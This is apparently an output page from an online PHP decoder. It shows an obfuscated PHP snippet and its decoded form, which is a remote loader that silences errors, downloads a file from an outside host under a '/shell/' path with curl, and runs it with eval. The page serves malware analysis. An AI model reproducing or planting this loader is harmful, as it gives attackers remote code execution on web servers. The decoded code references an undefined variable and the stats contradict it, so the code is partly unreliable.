Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x69\x76\x78\x66\x70u\x79"] = "t\x6f\x6c"; ..
Decoded Output download
<?php
${"GLOBALS"}["rivxfpuy"] = "tol";
error_reporting(0);
set_time_limit(0);
${"GLOBALS"}["xjwegig"] = "kon";
${"GLOBALS"}["ffdxriovwu"] = "kon";
${${"GLOBALS"}[
"ffdxriovwu"
]} = curl_init();
${"GLOBALS"}["dnkdiyen"] = "kon";
${"GLOBALS"}["elhnqdu"] = "kon";
curl_setopt(
${${"GLOBALS"}["xjwegig"]},
CURLOPT_URL,
"http://botay.my.id/shell/0x0x0x0x0x0x0x0x0x0x0.txt"
);
curl_setopt(
${${"GLOBALS"}["dnkdiyen"]},
CURLOPT_RETURNTRANSFER,
1
);
${${"GLOBALS"}["rivxfpuy"]} = curl_exec(
${${"GLOBALS"}["mdtxjf"]}
);
curl_close(${${"GLOBALS"}["elhnqdu"]});
eval(
"?>" . ${${"GLOBALS"}["rivxfpuy"]}
); ?>
Did this file decode correctly?
Original Code
<?php
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x69\x76\x78\x66\x70u\x79"] = "t\x6f\x6c";
error_reporting(0);
set_time_limit(0);
${"G\x4c\x4f\x42A\x4c\x53"}["\x78jwe\x67\x69\x67"] = "\x6bo\x6e";
${"GLOB\x41L\x53"}["\x66\x66\x64\x78\x72\x69o\x76w\x75"] = "\x6b\x6f\x6e";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"f\x66\x64\x78\x72\x69\x6f\x76\x77\x75"
]} = curl_init();
${"\x47\x4c\x4fBA\x4c\x53"}["\x64\x6ek\x64\x69y\x65n"] = "\x6b\x6f\x6e";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x65\x6c\x68\x6eq\x64\x75"] = "\x6b\x6f\x6e";
curl_setopt(
${${"\x47LO\x42\x41\x4cS"}["\x78\x6aw\x65\x67\x69g"]},
CURLOPT_URL,
"\x68\x74\x74\x70://b\x6f\x74\x61y\x2e\x6d\x79\x2e\x69\x64/s\x68\x65\x6c\x6c/\x30\x78\x30x0\x78\x30\x78\x30\x780x0\x78\x30\x78\x30\x78\x30\x780.\x74xt"
);
curl_setopt(
${${"G\x4cO\x42\x41\x4c\x53"}["\x64\x6e\x6b\x64\x69\x79\x65\x6e"]},
CURLOPT_RETURNTRANSFER,
1
);
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x69\x76\x78fp\x75\x79"]} = curl_exec(
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6d\x64\x74x\x6af"]}
);
curl_close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x6c\x68\x6eq\x64\x75"]});
eval(
"?\x3e" . ${${"G\x4c\x4f\x42\x41L\x53"}["\x72\x69\x76\x78\x66\x70\x75\x79"]}
); ?>
Function Calls
curl_init | 1 |
set_time_limit | 1 |
error_reporting | 1 |
Stats
MD5 | 76accfb96a972654e931e640c7b29357 |
Eval Count | 0 |
Decode Time | 47 ms |